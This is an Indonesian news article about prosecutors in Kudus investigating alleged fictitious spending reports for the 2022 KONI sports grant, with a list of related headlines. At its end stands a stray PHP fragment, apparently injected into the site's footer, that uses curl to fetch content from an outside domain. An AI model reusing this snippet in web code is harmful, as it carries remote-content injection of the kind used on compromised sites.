Kejari Segera Gelar Perkara Dugaan LPJ Fiktif KONI Kabupaten Kudus

Rabu, 21 Juni 2023

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info |JATENG

KUDUS- Kejaksaan Negeri (Kejari) Kudus, sampai saat ini masih terus melakukan Penyelidikan dugaan penyalahgunaan anggaran Komite Olahraga Nasional (KONI) Kabupaten Kudus tahun 2022

Menurut Kasi Intel Arga Maramba, SH, Rencananya, minggu depan pihaknya akan melakukan gelar perkara internal.

“Kita masih pulbaket (pengumpulan bahan keterangan), Minggu depan akan kita lakukan gelar perkara internal,” jelasnya.

Seperti diketahui, KONI Kabupaten Kudus dibawah kepengurusan Imam Triyanto pada tahun 2022 menerima dana hibah dari Disdikpora sebesar Rp10,9 miliar dengan rincian dari APBD murni Rp 8,4 miliar dan dari APBD Perubahan sebesar Rp2,5 miliar. Diduga, dalam laporan pertanggungjawaban (LPJ) yang dibuat ada ketidak sesuaian yang diperkuat dengan temuan BPK saat dilakukan audit.

Untuk mengawal penanganan perkara tersebut, masyarakat yang merasa peduli dengan olahraga melakukan audiensi ke Kejari Kudus.

Baca Juga:  Subsatgas Polairud Operasi Gapura Agung 2024 Laksanakan Patroli menggunakan ATV

Nur Ahmad, satu dari tujuh warga yang turut serta dalam audiensi mengatakan, tujuan menemui korp Adiyaksa tersebut untuk memberikan dorongan semangat kepada institusi penegak hukum.

“Tujuan kita melakukan audiensi untuk menanyakan perkembangan penanganan anggaran KONI tahun 2022 sekaligus memberi dorongan semangat supaya penanganannya benar-benar tuntas,” jelas Nur Ahmad yang juga Ketua LSM LP-KPK Kudus.

Dalam pertemuan yang diterima oleh Kajari Kudus, Henriyadi W Putra SH MH, Kasi Intel Arga Maramba SH, dan Kasi Pidsus Baharudin SH, lanjutnya, pihaknya juga menyampaikan informasi tambahan yang mungkin belum diketahui oleh pihak Kejaksaan. Salah satu informasi yang disampaikan adalah, adanya potongan alokasi anggaran dua puluh prosen (20%) yang diterima oleh cabang olahraga (Pengkab).

Baca Juga:  Polda Bali Laksanakan Jumat Curhat Bertempat Di Kantor Maxim, Jl. Mertasari No. 140 Sanur, Denpasar Selatan

Selain adanya potongan, Nur Ahmad juga mengatakan bahwa salah satu dari rombongannya sempat menanyakan boleh atau tidaknya anggota DPRD menjadi ketua Pengurus Cabang (Pengkab). Padahal, anggota dewan tersebut salah satu diantaranya adalah ketua dewan sekaligus ketua badan anggaran (banggar) sedang ketua cabor yang lain merupakan anggota dewan biasa.

“Keberadaan anggota DPRD yang menjadi ketua cabang olahraga sempat kita tanyakan. Karena dewan salah satu fungsinya penganggaran dan pengawasan, sedang menjadi ketua cabor sebagai pengguna anggaran,” paparnya.

Keberadaan anggota dan ketua dewan yang menjadi ketua cabor, lanjutnya, sebenarnya rawan konflik kepentingan. Karena anggota dewan masuk kategori penyelenggara negara karena fungsi yang melekat adalah penganggaran dan pengawasan.

Kebetulan, cabang olahraga yang ketuanya anggota dewan anggaran yang diterima tergolong besar. Sementara cabor yang ketuanya bukan dari dewan anggaran yang didapat normatif atau jauh dibanding yang ketuanya anggota dewan,” tambahnya.

Baca Juga:  Berikan Izin Liga 1 dan 2, Kapolri Ingatkan Prokes Ketat

Sedangkan menurut peserta audiensi yang lain, Riyanto, selama ini masyarakat Kudus yang peduli olahraga sangat prihatin terkait penggunaan anggaran yang dialokasikan ke KONI. Sepengetahuannya, dari tahun ke tahun “ricuh” penggunaan anggaran oleh KONI tidak pernah terselesaikan dan yang menjadi korban pastinya masyarakat Kudus khususnya atlet putra daerah.

Menanggapi adanya pertemuan tersebut, Kepala Seksi intelijen (Kasi Intel) Arga Maramba kepada media mengatakan, dalam penanganan dugaan penyimpangan penggunaan anggaran tersebut sudah ada 13 orang yang dimintai keterangan. Mereka terdiri dari pengurus KONI dan pengurus cabang olahraga. Menurutnya, dalam beberapa hari mendatang masih ada beberapa yang akan dipanggil untuk dimintai keterangan, terangnya.

(Red)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Foto Mesra Mirip Khenoki Waruwu dan Kadis Pariwisata Nias Barat Berujung Pelaporan Ke Kemendagri
15 Ribu ASN Sidoarjo Serentak Kerja Bakti Bersama
Kunjungan Kepala Dinas Pendidikan Provinsi Jatim Ke Kabupaten Jombang
Tambang Galian C Desa Tugu, Kecamatan Wates, Kabupaten Kediri dalam Monitoring Ketua Umum LSM Gimicak
Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja
Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat
Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras
Rayon Barat Polresta Sidoarjo Apel Bersama Oprasi Cooling System Tahun 2024 .

Berita Terkait

Sabtu, 5 Oktober 2024 - 05:06 WIB

Foto Mesra Mirip Khenoki Waruwu dan Kadis Pariwisata Nias Barat Berujung Pelaporan Ke Kemendagri

Sabtu, 5 Oktober 2024 - 05:05 WIB

15 Ribu ASN Sidoarjo Serentak Kerja Bakti Bersama

Jumat, 4 Oktober 2024 - 20:42 WIB

Kunjungan Kepala Dinas Pendidikan Provinsi Jatim Ke Kabupaten Jombang

Jumat, 4 Oktober 2024 - 20:06 WIB

Tambang Galian C Desa Tugu, Kecamatan Wates, Kabupaten Kediri dalam Monitoring Ketua Umum LSM Gimicak

Jumat, 4 Oktober 2024 - 11:38 WIB

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja

Berita Terbaru

Peristiwa

15 Ribu ASN Sidoarjo Serentak Kerja Bakti Bersama

Sabtu, 5 Okt 2024 - 05:05 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>